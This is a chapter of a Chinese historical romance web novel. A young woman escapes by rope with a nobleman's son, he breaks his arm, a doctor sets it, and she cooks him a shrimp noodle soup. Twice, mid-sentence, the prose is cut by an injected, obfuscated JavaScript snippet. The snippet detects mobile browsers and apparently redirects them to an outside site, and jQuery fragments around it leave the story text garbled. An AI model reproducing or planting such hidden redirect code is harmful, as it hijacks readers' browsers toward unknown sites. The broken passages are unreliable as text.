此时就算不信他，也只能听他的，她手心直冒冷汗，脑子里一边想着若是她死了，她爹娘怎么办，她的铺子怎么办，她这么努力讨生活，却要死的如此窝囊，一边哆哆嗦嗦地点头： “好，都听你的。” 只见他立刻脱下外袍，又扯下桌布，帘子，几乎是厢房里所有厚实的布料都被用上，轻薄的布料则通通拧成一股，把所有的布料都拧成一根长绳。 满满见状，这时候也顾不得其他的了，连忙把自己外面的衣裳脱下来，他却伸手制止她，努力对她笑了笑： “你穿着便是，已经够了。”他又看她整个人仿佛被吓得失了神，又隔空拍了拍她的手：“信我，绳子很结实，也就两层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15439987|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼，那怕直接跳下去，也死不了。” 她呆呆地点头，他很快把绳子做好了，一端系在窗子旁的柱子上，然后拿起绳子的一端，问她： “冒犯了。” 然后也没等她回答，便在她腰上打了一个结。 他推着满满走到窗边，此时，厢房外已经开始有人拍打门，但是碍于不想把事闹大，也并没有强行破门而入，还是等待。 满满也不敢再耽误，往下一看，只见一条漆黑幽深的小巷，不过总比方才那间窗外便是西湖水的厢房好。 她咬了咬牙，扶住窗台往外翻。她浑身止不住地颤抖，明明心里觉得是冷静的，但身体的反应却欺骗不了人。 薛以安此时也顾不得男女大防，抓住她的手臂，扶着她往下一点点下降。 满满借着他手臂的力，紧紧抓着他踩到一楼的凸起的屋檐上。他此时只能放开手，好让她抓着绳子继续往下。 外面的人敲门的声音越来越粗暴，似乎有些不耐烦。 满满双手都是又湿又滑的冷汗，反手捏住他即将抽开的手，问： “你什么时候下来？” 薛以安见状，捏了捏她的手，虽然情况紧急，依旧耐着性子安慰她： “你别急，就算被抓住了，我父亲哥哥是朝中官员，念及此也不会要了你性命。” 满满睫毛颤了颤，虽然这话冷漠，但事实却是如此。 “你先下去，解开腰间绳子，我把绳子拉上来便下去。” 满满深呼吸，放开了他的手，双手紧紧捏住绳子，不忘回头说： “你帮我拽着绳子，我怕那头脱了。” “好，你放心，我拽着的，不会松开的。” 她从房檐上接着往下，悬空的一瞬间，猛地一闭眼，只听他说： “满满，现在用脚蹬着墙面往下走。” 两人都正着急呢，恍惚中，都没注意到他已经逾矩，唤了她的小名。 满满依言照做，薛以安手里勒着绳子，一只手穿过柱子，一只脚也紧紧抵着墙壁，使劲稳住不被拽下去。他一点点缓缓放着绳子，直到满满觉得脚下被地面稳稳接住，方才猛地松了一口气，双脚一软坐在地上。 然后她拼命冷静下来，一边急促地呼吸，一边把腰间的结快速解开。 薛以安连忙把绳子拉上来，系在腰间。 门外的人已经疑心里面的人还在不在，开始用劲地撞门，索性薛以安早在那里堆了东西，他们撞了几次也没有撞开。 他手脚麻利地做好一切，正当已经翻过窗户，快速蹬着墙面往下降的时候，门被撞开了。 门一开，看见眼前景象，来人立刻明白屋内人已经翻窗逃跑。 一人立刻上前，挥刀斩断了系在柱子上的绳子。 薛以安只差一些便要到达地面，突然觉得身上一轻，绳子断了，整个人跌落到地。 满满见状，忙飞扑向前，大声喊到: “你没事吧？” 32. 虾丝馎饦 薛以安微弱地笑了笑:“没……没事。”然后咬着牙爬起来，一只手托着另一只手，嘴唇发白，满头冷汗。 满满一看，语气中带上了自己都没察觉到的关心和急切: “你……摔到手了？要紧吗？” 薛以安深吸一口气，朝满满摇摇头:“无碍，可否请你帮我把绳子解开？” 满满担忧地看了他一眼，心里酸酸涩涩，连忙伸手给他解绳子，这一刻也顾不得其他，她的手在他腰间乱窜，越是着急越是解不开，满满忍不住叹了口气: “唉，我手太滑了，什么都干不好……” 薛以安努力挤出一丝笑容:“你别急，慢慢来，总之死不了。” 巷子那头传来了远远的脚步声，楼上的人发现他们从这跳了下去，便从门口追了出来。 满满回头一看，暂且看不到人影，但也快到了。 还好，现在总算解开了，她松了一口气。 “跟我走。” 薛以安托着一只手臂，便向前跑起来，每一步动作都牵动手臂上的伤口，他咬着牙忍住，跑了一会，二人来到了一个小小的宅院，薛以安用背部推门而入，待满满进来之后，又猛地关上了门。 “现下安全了。” 蔡衡从屋子里听到响动出来时看到的便是这一幕，两个人满头大汗坐在门口，薛以安面色苍白，袁小娘子倒是面色潮红，担忧地看着薛以安。 “你们怎么在这？”蔡衡一面问一面走过来。 “说来话长，巷子里有人在追我们，劳烦蔡兄收留我们一会。”薛以安道。 蔡衡也并未多问，只道:“先进来吧。” 二人跟着蔡衡进了正堂坐下，蔡衡给二人倒了一杯茶。 满满无心喝茶，一双眼睛只盯在薛以安，见他眼睛微微闭上，斜斜躺在椅子上，一张脸上毫无血色。再一想到他如此都是为了自己，更觉得愧疚。 “蔡官人，可否寻个郎中过来，我估摸着恐怕是骨头折了……” 满满的声音急切，隐隐约约带了哭腔。 薛以安闻声睁开眼睛，安慰道:“此时出去寻郎中恐怕引人生疑，再过一柱香时间再去不迟。没事，从前我兄长也是骨头折了，现在也好好的。” 蔡衡见薛以安疼的满头大汗，皱了皱眉:“你说的也有道理，那便再忍一忍，男子汉大丈夫，忍一忍没什么的！” 满满喉间发涩，越发责怪自己惹了这般事。 她心头一动，又问:“不知府里可有冰？” 蔡衡吩咐一个小厮取了一些冰来。满满用刀刨下一小块，用帕子包住，走向薛以安，轻声道: “你把袖子揽起来，我用冰给你冰一下，能不痛些。” 薛以安看了看满满，只见她神色固执，似乎不达目的便无法心安，便配合地把袖子揽起来，只见小臂肿的很高。 满满皱了皱眉，小心翼翼地把冰块贴到受伤的地方，缓缓移动，又轻声问: “感觉好些了吗？” 薛以安微笑着点头:“好多了，快不疼了，多谢。” 满满有些失落地问:“哪有这么快，你就是在骗我。” 蔡衡神色有些古怪，似乎是见不得这场面，咳嗽了一声，插嘴道: “今日到底是什么缘故？” 薛以安也很好奇，满满便把来龙去脉都说了一遍。 二人一听，心里都有了眉目。 蔡衡道:“那女子叫楼惊玉，本是一个大名鼎鼎的歌姬，前些年被从和裕赎了身。可惜她是个有气节的，宁死不从，竟不知如今和常轩搭上关系了。” 薛以安道:“如此看来，你方才撞见的便是从和裕了，他是朝廷五品大员，官商通吃，势力庞大，私底下黑心事做了不少。想对你下狠手也不足为奇了。” 蔡衡又道:“大概是不想被人传出被楼惊玉折了面子，如今之计……不若派人去和提举大人知会一声？这从和裕是皇城提举司的部下，想来晁大人那边示意了，谅他也不敢再有动作。” 满满心里有些苦涩，到头来，竟然又要晁素臣帮忙了吗？她小心翼翼问道: “就不能报官吗？” 薛以安摇了摇头:“从和裕身居高位，一举一动都牵连甚广，贸然报官，反而官官相护，反咬一口，况且我们也没有确凿的证据，最终也是白费力气。为今之计，护住自己是最好的。” 满满点了点头，他们一心为了她着想，无亲无故，却处处帮她。但和晁素臣的私事，他们却无人能懂，她也不好意思开口。 她心里忍不住有些看不起自己，一边清高地拉开和晁素臣的距离，一边却一次又一次需要向他求助。 她心里充满对自己的厌弃，又安慰自己，如今之计，自保是最重要的，若是他愿意相助，那便是天大的幸运，自己也别再因为这些较劲。欠下的，改日再想想能不能用别的方式偿还。 此时，巷子外已经没了动静。蔡衡派了两个小厮，一个去薛府传了消息，就说薛以安在蔡衡府里歇下了，今日不回去，另外再寻阿牛过来，另一个则去请大夫。蔡衡自己也驾了马朝着提举司去了。 蔡衡府宅并不算宽敞，不过他尚未成家，拢共也只住了他一人。整个府里也只有小厮两人，现在人都走了，倒是只剩下满满和薛以安。 薛以安怕满满多想，一直强撑着精神引着满满聊着聊那，经此一遭，二人的距离仿佛被突然拉近，毕竟肢体都已经接触过了，闲话便也开始显得自如。 满满知道他伤口疼痛，只道:“不必管我，你闭眼休息吧，我在这等着。” 薛以安闻言，也不再坚持，闭着眼在椅子上假寐。满满看着他苍白的眉眼，明明从前总是烧着红晕，如今却变成了这样。她从前总觉得他不过是一个娇生惯养的衙内，今日的他，倒是让她发现，原来他也可以如此有担当。 满满往窗外看着漆黑的夜色，心里寻思，若是再不回去，爹娘恐怕要担心了，更何况是今日如此特殊，他们一定在等着她的消息。 可是薛以安为了救她受了伤还在这里躺着，而且她已经被人跟上，现在一旦出门便随时有风险，她也只能干着急。 过了一会，阿牛来了。 他一见薛以安，便慌忙大喊: “郎君，您这是怎么了？” 薛以安睁开眼，却道:“阿牛，你现在去小娘子铺子里，和大爷大娘说一声，就说小娘子半路被嫂嫂叫走请教厨艺了，忙活完了便回来。” 阿牛愣了片刻，犹豫着要不要离开:“郎君，让我留在这照顾您吧。” 薛以安哑着嗓子又道:“快去，已经请了郎中，稍后便到。” 阿牛不愿他再担忧，连忙离开。 满满静静坐在一旁，心里被愧疚和感动填满，轻声道: “谢谢你，你这样，我要怎么报答你才好？” 薛以安睫毛颤了颤，半晌，喃喃:“能帮到你，我便放心，不用报答。” 他又补充: “从前和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454157|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在都一样。” 过了一会，郎中终于来了。 老伯撩开薛以安的袖子一看，用手捏了捏，薛以安瞬间皱了皱眉，倒吸一口冷气。 “小郎君这手不仅是折了，两块断骨还错了位，我先把两块骨头摆正，然后再用夹板固定起来，只能慢慢养。” 薛以安白着脸点点头:“辛苦老伯。” 郎中提醒道:“有些疼，小郎君忍一忍。” 满满看着他，心里像是被什么揪住似的，泛出淡淡的酸痛。她拿了一块干净的帕子，塞在薛以安嘴里。 “你要是疼的受不住，便咬住帕子。” 见他乖乖点头，她心里一软，又补充: “我待会给你开个小灶，你累了半天，恐怕饿了吧。” 他又点点头，趁着这档口，郎中手一捏，一声轻哼从薛以安口中溢出，只见他牙齿都在发抖，幸亏这一下，骨头便正好了。 郎中往他手上抹了不少药酒，然后又用四块长长的竹板把他的手夹起来，最后用线捆住。 最后交代: “这几味药磨碎了泡酒，每日抹在伤口处，这几味则煮药汤每日三次服下。” 满满谢过郎中，把要点通通用纸墨记下，最后又主动掏了银子递出去。 她吩咐薛以安:“你先在这里等一会，我马上就来。” 满满走到小厨房，看了看此处食材，掀开旁边的一个小木桶，惊喜叫道：“竟然有太湖白虾！”又翻找了一会，看来这厨房里是没有厨子的，估计都是府中擅长烹饪的小厮顺手做饭，不一会儿，她又找到了一块已经发好的陈面。 刚巧今日薛以安受了伤，刚好做一碗白丝馎饦补补身子。 满满找了一块浸水的案板，陈面与新麦粉三掺二。五指张开旋着搅，待面絮抱成团，掌心根发力往下摁，腕子转着圈揉。 趁着饧面时满满快速处理白虾。 她左手拧断虾头，食指往虾背一顶，整条虾肉就滑进粗陶碗里。壳子丢进铁锅干焙，海腥中缓缓漫上来焦香。 捣碎姜汁，橙皮切细丝，待虾壳焙得金黄，注入井水，姜汁橙皮一道放进去滚。 文火熬着，转身揉面。 汤色转作琥珀般粘稠，满满滤去渣滓。快刀把虾肉剁茸，掺蛋清摔打上劲，最后用竹刀刮成细丝。剩下一点白虾肉拍成泥，裹进葛布挤汁，凝成白玉一般的冻子。 接着把面团分作六剂，用湿葛布裹住醒着。取一剂搓成蛇形，掌根压扁，擀杖从中间往两头推。 只见面皮薄到能透见案板的木纹，接着对角折，刀刃斜着片成菱形。剩下的边角料也不浪费，搓成小指粗的面鱼儿，码在案板上等着。 汤锅滚起，开始下面片。 满满左手抓面鱼儿撒进浪头，右手长筷搅散面。汤面浮起小泡，赶紧用漏勺抄底兜两下。过了一会，面片变得透亮，接着下虾丝和冻子同煮。 虾的鲜味被煮开了，淡淡的，鲜鲜的，汤里丢了几片叶片，看上去一只只肥胖饱满的小冻子起起伏伏，像是一片荷塘似的。 起锅前点一匙虾脑油，汤面浮着油星子，面鱼儿吸饱汁鼓成胖胖的月亮，一块块面片上粘连着白白的汤汁，又香又鲜。 满满夹起一块面片，滑得要用筷头抵住，刚刚滑进嘴里，便烫了一下舌头，慢慢的便是淡淡的鲜味漫开，轻轻一咬，汁水从面片中爆出来，烫烫的，暖暖的，面片很软，但是又含着韧劲，在嘴里嚼了好几下，才热热乎乎顺着食道滑下去。